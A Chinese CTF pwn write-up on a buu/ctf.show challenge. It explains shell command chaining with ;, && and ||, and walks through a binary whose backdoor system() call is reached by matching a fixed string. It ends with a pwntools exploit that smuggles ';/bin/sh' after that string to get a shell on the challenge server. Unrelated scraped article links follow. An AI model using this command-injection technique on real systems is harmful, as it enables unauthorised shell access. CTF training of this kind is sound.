pwn杂项之linux命令执行
通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替
下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。
扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个
2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行
3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行
1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护

2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下


可以看见程序确实留的有后门,现在进行逐步分析

v3是command的指针,v4是command的首地址

这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素

这里进行遍历把* v3里面每个元素都加了0x1bf52

v8里面放的是这个

这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。
思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码
可以使用u32或者u64进行输入,返回的是int类型的ascii码。
Exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('pwn.challenge.ctf.show',28180)
payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00'
print(len(payload))
for i in range(7):
n=i*4
io.sendline(str(u32(payload[n:n+4])-0x1BF52))
io.interactive()
pwn杂项之linux命令执行的更多相关文章
- Linux命令执行顺序— ||和&&和; 比较
Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,& ...
- Java调用Linux命令执行
调用方式 Java调用linux命令执行的方式有两种,一种是直接调用linux命令,一种是将linux命令写到.sh脚本中,然后调用脚本执行. 详细说明 直接调用:使用java中lang包下面的Run ...
- Linux命令执行过程
目录 一.命令分类 二.命令执行顺序 三.命令分类及查找基本命令 四.命令执行过程 一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成的命令,此类命令无需 ...
- Linux命令执行顺序— ||和&&和;
command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. comman ...
- Linux命令执行的屏幕输出内容重定向到日志文件
摘要: 作者:Syn良子 出处:http://www.cnblogs.com/cssdongl 转载请注明出处 快速mark一下这个命令细节,免得以后使用又忘记了 大家都知道可以用echo来输出内容到 ...
- Linux命令执行顺序与管道命令
命令执行顺序控制 顺序执行多条命令:command1;command2;command3... 有选择执行命令:which command1 && command2 || comman ...
- linux命令执行返回值(附错误对照表)
转自:http://blog.sina.com.cn/s/blog_6739945f0100zt4b.html 在 Linux 下,不管你是启动一个桌面程序也好,还是在控制台下运行命令,所有的程序在结 ...
- LInux命令执行http请求
Linux下提供了一些命令可以直接执行http请求,下面举例来介绍几个命令. http // GET请求 http http://127.0.0.1:2379/version http GET htt ...
- Linux 命令执行结果输出到屏幕的同时写入到文件中
tee命令可以做到这一点: 例:ls -al /home | tee log 就可以把命令输出的内容显示在屏幕上的同时也输出至文件log.
- 用linux 命令 执行ci框架的方法
最近要跑一个数据量比较大的脚本,刚开始在浏览器页面访问发行nginx 5.4 超时, 又不想去修改nginx的连接时间,只能在服务器执行了, 执行方法:进入到ci 的根目录:#php index.ph ...
随机推荐
- Next.js 实战
0x1 CSR,SSR,SSG CSR 客户端渲染(Client-Side Rendering).常见 B 端 Web 应用开发模式,前后端分离,服务器压力相对更轻,渲染工作在客户端进行,服务器直接返 ...
- 【未测试】CentOS 6.5快速部署HTTP WEB服务器和FTP服务器
CentOS 6.5快速部署HTTP WEB服务器和FTP服务器 [题记]本文使用CentOS 6.5minimal快速搭建HTTP服务器和仅供授权用户登陆的FTP服务器.意在使用授权FTP用户通过登 ...
- IIS 出现405
前言 在一次配置服务器中,出现一个问题,那就是使用put和delete 出现405. 当时我蒙了,调试的时候好好的,部署405. 原因是put和delete是非简单请求,也就是说非安全请求了. 这时候 ...
- NodeJs进阶开发、性能优化指南
相信对于前端同学而言,我们去开发一个自己的简单后端程序可以借助很多的nodeJs的框架去进行快速搭建,但是从前端面向后端之后,我们会在很多方面会稍显的有些陌生,比如性能分析,性能测试,内存管理,内存查 ...
- 使用 Docker 部署 Draw.io 在线流程图系统
1)介绍 Draw.io GitHub:https://github.com/jgraph/drawio Draw.io 是一款开源的绘制流程图的工具,拥有大量免费素材和模板.程序本身支持中文在内的多 ...
- JavaIDEA配置JDBC数据库连接+可视化页面
"感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友.您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!" 0X01 ...
- 力扣602(MySQL)-好友申请Ⅱ:谁有最多的好友(中等)
题目: 在 Facebook 或者 Twitter 这样的社交应用中,人们经常会发好友申请也会收到其他人的好友申请. RequestAccepted 表: (requester_id, accepte ...
- OceanBase初体验之部署生产标准的三节点分布式集群
前置条件 OceanBase 数据库集群至少由三个节点组成,所以先准备好3台服务器: IP 配置 操作系统 x.x.x.150 Intel x86 12C 64G内存 1T SSD CentOS 7. ...
- OpenYurt v1.1.0: 新增 DaemonSet 的 OTA 和 Auto 升级策略
简介: 在 OpenYurt v1.1.0 版本中,我们提供了 Auto 和 OTA 的升级策略.Auto 的升级策略重点解决由于节点 NotReady 而导致 DaemonSet升级阻塞的问题,OT ...
- 从 VLAN 到 IPVLAN: 聊聊虚拟网络设备及其在云原生中的应用
简介: 由于这篇文章真的很长,大量的篇幅在讲述内核的实现,如果你对这部分不感兴趣,那么在建议你在看完第一部分的三个问题后,思考一下,然后直接跳转到我们对问题的回答. 作者:张伟(谢石) 由于这篇文 ...